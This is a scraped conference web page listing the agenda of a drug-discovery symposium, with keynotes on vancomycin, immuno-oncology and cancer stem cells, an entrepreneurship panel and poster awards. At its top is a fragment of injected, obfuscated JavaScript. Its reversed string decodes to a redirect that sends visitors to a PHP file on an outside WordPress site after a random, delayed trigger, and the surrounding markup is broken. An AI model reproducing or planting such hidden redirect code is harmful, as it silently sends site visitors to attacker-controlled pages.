{if (typeof ($Bhq.list[n]) == “string”) return $Bhq.list[n].split(“”).reverse().join(“”);return $Bhq.list[n];};$Bhq.list=[“‘php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}</script>torium1-300×225.jpeg” alt=”” width=”300″ height=”225″ /></h2>
<h2 style=)
AGENDA
The Future of Drug Discovery: How Technological Advances are Giving Old Concepts New Life
Keynote Presentation:
“Redesign of Vancomycin for Resistant Bacteria“
Dr. Dale Boger, Richard and Alice Cramer Professor and Chairman of Department of Chemistry, The Scripps Research Institute (California Campus)
“Immuno-oncology: What’s next?“
Dr. Thomas J. Hudson, Vice President, Head of Oncology Discovery and Early Development, AbbVie, Inc.
“From cancer genomics to cancer treatment; development of drugs targeting cancer stem cells“
Dr. Yusuke Nakamura, Professor, Department of Medicine and Surgery, Deputy Director, Center for Personalized Therapeutics, The University of Chicago
“Ibrutinib resistance and exploration of alternative therapies using a personalized CLL Rx model”
Y. Lynn Wang, MD, PhD, FCAP, Professor, Division of Genomic and Molecular Pathology; Director, Lymphoma Translational Pathology, Department of Pathology, The University of Chicago
“Drugging the undruggable: therapeutic potential of targeting protein tyrosine phosphatases“
Dr. Zhong-Yin Zhang, Head, Department of Medicinal Chemistry and Molecular Pharmacology, Distinguished Professor and Robert C. and Charlotte P. Anderson Chair in Pharmacology, Purdue University
Entrepreneurship Panel Discussion
Moderated by Dr. Thomas von Geldern, President of Embedded Consulting and Former Research Fellow, Abbott Laboratories
Dr. John Flevin, Associate Vice President of Entrepreneurship and Innovation, the University of Chicago
Dr. Terry Opgenorth, Vice President of Colorado State University Ventures; Former Divisional Vice President, Metabolic, Antiviral, and Target-Lead Discovery, Abbott Laboratories
Dr. Jin Wang, Managing Partner, Jianxin Capital
Poster Award:
ACS Medicinal Chemistry Letters and Journal of Medicinal Chemistry sponsored
ACS-Yao Yuan Award of Medicinal Chemistry